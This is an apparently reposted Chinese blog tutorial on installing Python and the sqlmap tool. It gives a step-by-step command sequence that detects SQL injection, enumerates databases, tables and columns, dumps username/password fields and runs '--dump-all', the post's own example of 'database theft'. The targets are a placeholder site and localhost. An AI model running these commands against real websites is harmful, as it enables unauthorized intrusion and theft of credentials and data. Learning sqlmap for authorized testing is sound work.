网站入侵工具 SQL注入神器

news/2024/5/10 2:47:42/文章来源:https://blog.csdn.net/weixin_30267785/article/details/97828504

0x 00 前言

    SQLMAP

0x 01 注入原理

             不说了

*****************************************结束分割线*****************************************

0x 02 安装SQLMap

  1. 安装python 

    官网https://www.python.org/ 选择最新版本下载安装即可

    因为SQLMap使用Python写的 ,所以没有Python的环境SQLMap无法运行

             1、linux下安装python3

             a、 准备编译环境(环境如果不对的话,可能遇到各种问题,比如wget无法下载https链接的文件)

1
2
yum groupinstall 'Development Tools'
yum install zlib-devel bzip2-devel  openssl-devel ncurses-devel

             2 下载 Python3.5代码包

      wget  https://www.python.org/ftp/python/3.5.0/Python-3.5.0.tar.xz

              在安装包中有一个README的文件,里面有写如何安装

      tar Jxvf  Python-3.5.0.tar.xzcd Python-3.5.0./configure --prefix=/usr/local/python3make && make install

              做软链:

      ln -s /usr/local/python3/bin/python3.5 /usr/local/bin/python3

              安装成功了!

             如果提示:Ignoring ensurepip failure: pip 7.1.2 requires SSL/TLS

             这是原因没有安装或升级oenssl:

      yum install openssl-devel

            再次重复编译方案python3.5:

          提示同时成功安装pip-7.12与setuptools!

          pip3与pip都提示没有错误!

         做软链:

      ln -s /usr/local/python3/bin/pip3.5 /usr/local/bin/pip

         升级pip到最新版本:

      pip install --upgrade pip

          pip安装成功啦! (扩展python的工具)

          注:--no-check-certificate 表示安装时“不检查证书”,不加上可能无法安装。

          2.安装包

          requests包:

      pip install requests

          pyquery包:

      pip install pyquery

          pymysql包:

      pip install pymysql

  

       2. 安装SQLMap

    官网 http://sqlmap.org/ 选择最近版本安装即可 

0x 03 SQLMap常用命令介绍

  1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"    

    判断id参数是否存在注入:结果中包含 “id” is Vulnerable  字段表示存在注入

    存在注入,下面的步骤才可以执行成功~

  2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --dbs

    列举能列出的所有数据库名

  3.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db

    列出当前使用的数据库名,假设列出“sqltest”数据库  

  4.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1"  --is-dba

    判断该注入点是否有管理员权限:返回true  表示是管理员

  5.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables

    获取sqltest中的所有表,假设有"admin"表

  6.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns

    列举表admin的字段(列名),假设存在"username","password"字段

  7.  sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump

    下载字段username,password的值,若询问是否破解md5加密,选择no即可

 

    至此,对一个简单的注入点(GET方式),现在就已经得到了我们想要的数据

    想看工具的注入过程 使用-v参数

    -level 会提高注入等级(默认0 只会判断get,post参数是否有注入点)

    若注入点是POST方式,或是注入点才Cookie,User-Agent中,可以利用-Date 参数 -Cookie参数指定

    当然用buip Suite架个代理,截取数据包,直接 -r 参数引入数据包也可以完成上述的注入情况的~

 

0x 04 注入Demo

    本次演示使用Apache+Php +Mysql 环境,其他环境的话

    使用SQLMap输入还是相同的命令,这点SQLMap做的好方便

       

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有数据库名

     

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出当前数据库

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba   判断注入点是否有管理员权限

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables  猜表名

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns  猜字段名

    

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值

    

    

    网络上流传的脱裤 用的可就是下面的一句话

    sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all

    突然发现 强大的东西往往仅仅是一句话 ! !

    这条命令会直接把test数据库中所有的表全部下载到安装目录output文件夹中

转载于:https://www.cnblogs.com/xiaommvik/p/8350972.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_746746.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IIS6独立用户建立网站的方法,提高网站安全性

在Windows server 2003系统下,用IIS架设Web服务器,合理的为每个站点配置独立的Internet来宾账号,这样可以限制Internet 来宾账号的访问权限,只允许其可以读取和执行运行网站所的需要的程序。如果为网站内的网站程序、图片、附件或…

ico图标和制作网站(比特虫)

1.怎么找到网站的图标: 网址/favicon.ico 代码引入 <link rel"icon" href"//www.jd.com/favicon.ico" mce_href"//www.jd.com/favicon.ico" type"image/x-icon" />/*京东*/ <link rel"shortcut icon" href"/…

Web应急:网站被植入Webshell

Web应急:网站被植入Webshell 网站被植入webshell,意味着网站存在可利用的高危漏洞,攻击者通过利用漏洞入侵网站,写入webshell接管网站的控制权。为了得到权限 ,常规的手段如:前后台任意文件上传,远程命令执行,Sql注入写入文件等。 现象描述 网站管理员在站点目录下发现…

Web应急:网站被批量挂黑页

Web应急&#xff1a;网站被批量挂黑页 作为一个网站管理员&#xff0c;你采用开源CMS做网站&#xff0c;比如dedecms&#xff0c;但是有一天&#xff0c;你忽然发现不知何时&#xff0c;网站的友情链接模块被挂大量垃圾链接&#xff0c;网站出现了很多不该有的目录&#xff0c…

web应急:新闻源网站劫持

web应急&#xff1a;新闻源网站劫持 新闻源网站一般权重较高&#xff0c;收录快&#xff0c;能够被搜索引擎优先收录&#xff0c;是黑灰产推广引流的必争之地&#xff0c;很容易成为被攻击的对象。被黑以后主要挂的不良信息内容主要是博彩六合彩等赌博类内容&#xff0c;新闻源…

对English paper写作有帮助的相关网站

ListCitationPurdue Online Writing LabSynonymsThesaurusSemantic DomainsPhrasesAcademic PhrasebankLudwigLinggle写paper时重在自己的观点和逻辑&#xff0c;但是没有优质确切的语言还是无法有力地传达自己的观点&#xff0c;也有可能会因为自己的Chinglish使得别无法理解。…

Web应急:网站首页被篡改

Web应急&#xff1a;网站首页被篡改 网站首页被非法篡改&#xff0c;是的&#xff0c;就是你一打开网站就知道自己的网站出现了安全问题&#xff0c;网站程序存在严重的安全漏洞&#xff0c;攻击者通过上传脚本木马&#xff0c;从而对网站内容进行篡改。而这种篡改事件在某些场…

网站被植入Webshell,怎么处理?

网站被植入webshell,意味着网站存在可利用的高危漏洞,攻击者通过利用漏洞入侵网站,写入webshell接管网站的控制权。为了得到权限 ,常规的手段如:前后台任意文件上传,远程命令执行,Sql注入写入文件等。 现象描述 网站管理员在站点目录下发现存在webshell,于是开始了对入…

分享几个默认密码在线查询网站

网络设备忘记了密码&#xff0c;不要慌&#xff0c;先看一下厂家和型号&#xff0c;找找产品手册&#xff0c;不行就在线查一查&#xff0c;比如下面这几个网站&#xff0c;说不定有惊喜。本文分享几个默认密码在线查询网站&#xff0c;仅用于用户找回默认密码&#xff0c;不许…

大型分布式网站架构:缓存在分布式系统中的应用

缓存是分布式系统中的重要组件&#xff0c;主要解决高并发&#xff0c;大数据场景下&#xff0c;热点数据访问的性能问题。提供高性能的数据快速访问。 一、缓存概述 缓存是分布式系统中的重要组件&#xff0c;主要解决高并发&#xff0c;大数据场景下&#xff0c;热点数据访问…

seo按天扣费系统_警告!不要再问做SEO多少钱?

作为从事SEO优化十年来的老司机&#xff0c;不知道多少次因为费用问题而没有达成合作。价格是达成交易的必谈的话题&#xff0c;无数家企业都曾经问过&#xff1a;网站优化费用多少才算合理&#xff1f;优化君也回答过无数次。核心因素就是根据企业自己的预算&#xff01;资金如…

开源免费的建站系统

2019独角兽企业重金招聘Python工程师标准>>> Joomla内容管理系统即JoomlaCMS&#xff08;Content Management System, CMS&#xff09;。它是网站的一个基础管理平台。几乎适合从个人网站到各种企业网站、分类信息系统、电商销售类型的各类网站&#xff0c;在国内也…

怎样将优酷网站下载的视频KUX转MP4格式

在休息之余&#xff0c;相信大多数人都会拿手机看电视剧听音乐之类的&#xff0c;最近拍了很多的新片子&#xff1a;《毒液&#xff1a;致命守护者》、《无名之辈》、《亡命救赎》《影》等等优质电影&#xff0c;但是很多的电影都只能在电影院观看的&#xff0c;如果不去电影院…

网站漏洞修复之metinfo SQL注入漏洞

2019独角兽企业重金招聘Python工程师标准>>> 近日&#xff0c;我们SINE安全对metinfo进行网站安全检测发现&#xff0c;metinfo米拓建站系统存在高危的sql注入漏洞&#xff0c;攻击者可以利用该漏洞对网站的代码进行sql注入攻击&#xff0c;伪造恶意的sql非法语句&a…

大型网站技术架构(六)网站的伸缩性架构

2019独角兽企业重金招聘Python工程师标准>>> 网站系统的伸缩性架构最重要的技术手段就是使用服务器集群功能&#xff0c;通过不断地向集群中添加服务器来增强整个集群的处理能力。“伸”即网站的规模和服务器的规模总是在不断扩大。 1、网站架构的伸缩性设计 网站的…

使用Python开发轻量级的Web框架以及基于WSGI的服务器来实现一个网站页面

说明&#xff1a;该篇博客是博主一字一码编写的&#xff0c;实属不易&#xff0c;请尊重原创&#xff0c;谢谢大家&#xff01; 目录 一丶项目说明 二丶数据准备 三丶使用网络TCP开发一个基于WSGI协议的Web服务器 四丶使用python3开发一个轻量级的Web框架 五丶在框架中实现添加…

golang开源项目qor快速搭建网站qor-example运行实践

最近想找几个基于Go语言开发的简单的开源项目学习下&#xff0c;分享给大家&#xff0c;github上有心人的收集的awesome-go项目集锦&#xff1a;github地址 发现一个Qor项目&#xff1a; Qor 是基于 Golang 开发的的CMS 一系列工具库&#xff0c;基于 Qor可以快速搭建网站的后台…

php基于浏览器的linux终端模拟器,3个常用基于Linux系统命令行WEB网站浏览工具(w3m/Links/Lynx)...

一般我们常用的浏览器肯定是基于可视化界面的图文结合的浏览界面效果&#xff0c;比如FireFox、Chrome、Opera等等&#xff0c;但是有些时候折腾和项目 的需要&#xff0c;在Linux环境中需要查看某个页面的文字字符&#xff0c;我们需要简单的浏览网页页面&#xff0c;但是也不…

使用ASP.NET MVC框架创建电子商务网站

此篇通过创建一个电子商务网站&#xff0c;讨论ASP.NET MVC框架下控制器是如何与视图做交互的。 这个系列的第一篇建造了一个简单的电子商务产品列表/浏览网站。它讨论了MVC后面的高层次的概念&#xff0c;示范了如何从头创建一个新的asp.net mvc项目&#xff0c;实现和测试这个…

在SharePoint网站中访问Webservice被拒绝的解决方法

在SharePoint网站中访问Webservice时可能会遇到如下的问题&#xff1a; 原因是SharePoint默认已经禁止对后缀为asmx的文件进行访问&#xff0c;所以回出现如上的问题&#xff0c;解决方法很简单&#xff0c;打开SharePoint管理中心&#xff0c;选择操作标签下面的被禁止的文件类…